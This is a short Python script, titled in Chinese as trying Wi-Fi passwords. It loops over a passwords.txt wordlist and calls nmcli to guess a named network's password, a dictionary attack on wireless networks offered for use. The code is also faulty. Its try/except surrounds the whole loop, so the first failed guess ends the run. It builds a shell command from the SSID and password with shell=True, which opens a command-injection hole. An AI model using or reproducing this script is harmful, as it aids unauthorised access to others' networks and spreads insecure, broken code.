Python尝试Wi-Fi密码

import subprocess

def connect_wifi(ssid):
    try:
        with open("passwords.txt", "r") as file:
            passwords = file.readlines()
            for password in passwords:
                password = password.strip()
                command = f'nmcli device wifi connect "{ssid}" password "{password}"'
                subprocess.check_call(command, shell=True)
                print(f"使用密码 {password} 连接Wi - Fi成功。")
                return
    except (subprocess.CalledProcessError, FileNotFoundError):
        print("连接Wi - Fi失败或者密码文件不存在。")
    print("所有尝试的密码都无法连接Wi - Fi。")